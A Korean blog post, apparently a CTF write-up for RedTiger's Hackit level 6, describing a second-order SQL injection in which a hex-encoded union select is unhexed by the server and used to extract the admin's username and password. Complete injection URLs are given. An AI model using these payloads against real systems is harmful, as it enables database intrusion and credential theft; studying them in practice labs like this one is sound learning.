level6
click를 클릭해보면 deddlef라는 계정이 나오고 뒷부분 주소는 /level6.php?user=1이다.
0으로 바꿔보면 아무것도 안나온다. 그리고 문제가 sqli랬으니 blind는 아닐 것이다.
0 union select 1,2,3,4,5%23으로 5개 붙여봤을시 user not found가 뜨는걸로 보아 컬럼이 5개이다.
근데 user not found만 뜨고 1,2,3,4,5숫자는 안 뜬다. 근데
0 union select 'rara',2,3,4,5%23처럼 아무곳에나 문자열을 입력해보면
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found 라는 에러가 아닌 경고가 발생하는데,
찾아보니 http://ddobam.tistory.com/16 에서 문자셋이 안 맞으니, 홑따옴표를 안 쓰는 방법을 해보라 한다. hex로 치환해서 0 union select 0xaaa,2,3,4,5%23처럼 해보면 user not found가 나온다.
예시로 deddlef라는 유저가 있었는데, 이 유저를 핵스로 치환해서 돌리다보면 결과가 나올것같다.
http://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x646564646c6566,3,4,5%23 처럼 두번째자리에 넣었을때
deddlef라는 계정이 나오는걸로 보아서 두번째 컬럼이 아이디 컬럼같다. admin을 인코딩한 값을 넣었을때 admin이라는 계정이 나오기는 하는데 비밀번호가 나오질 않는다... 여기서 또 한참 고민하다가
admin'#을 인코딩한 값을 넣어봤는데 제대로 똑같이 나오고, admin#을 인코딩한 값을 넣었을때는
user not found라는 값이 뜨는걸로 보아 들어온 인자를 순서에 맞게 실행하는것 같다.
처음에는 admin을 인코딩한 0x646564646c6566값을 넣으면 이 값이 직접 쿼리에서 실행되는줄 알았는데, (ex) select * from table where id=0x646564646c6566 처럼.) 실험을 하다 보니
인자로 들어온 값을 unhex하고, 그 후에 쿼리를 실행시키는것 같다. 이렇게 판단한 이유는 '#을 인코딩해서 넣었을경우 쿼리에서 '인지 #주석인지 판별을 못하기 때문이다. 그런데 판별을 하는걸 보면 한번 unhex한 후 해당 값을 쿼리에 넣는것 같다. 그래서 unhex후 쿼리에 넣었을경우 이상한값(특수문자 등)이 들어가게 되면 경고가 떴던거라고 추측했다.
unhex후 쿼리를 실행한다는걸 알았으니
' union select 0,username,0,0,0 from level6_users where status=1#를 hex값으로 만든 후 두번째
자리에 집어넣어봤더니 admin이 출력됬다. ( http://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420302c757365726e616d652c302c302c302066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23 )
username부분만 password로 바꾼 후 인코딩해서 넣어봤더니 답이 나왔다.
'webhacking > sql, sql injection' 카테고리의 다른 글
RedTigers Hackit 8 (미완) (0) | 2015.01.11 |
---|---|
RedTigers Hackit 7 (0) | 2015.01.09 |
RedTigers Hackit 4~5 (0) | 2015.01.08 |
RedTigers Hackit 1~3 (1) | 2015.01.08 |
chall.tasteless.se Too Easy (0) | 2014.12.24 |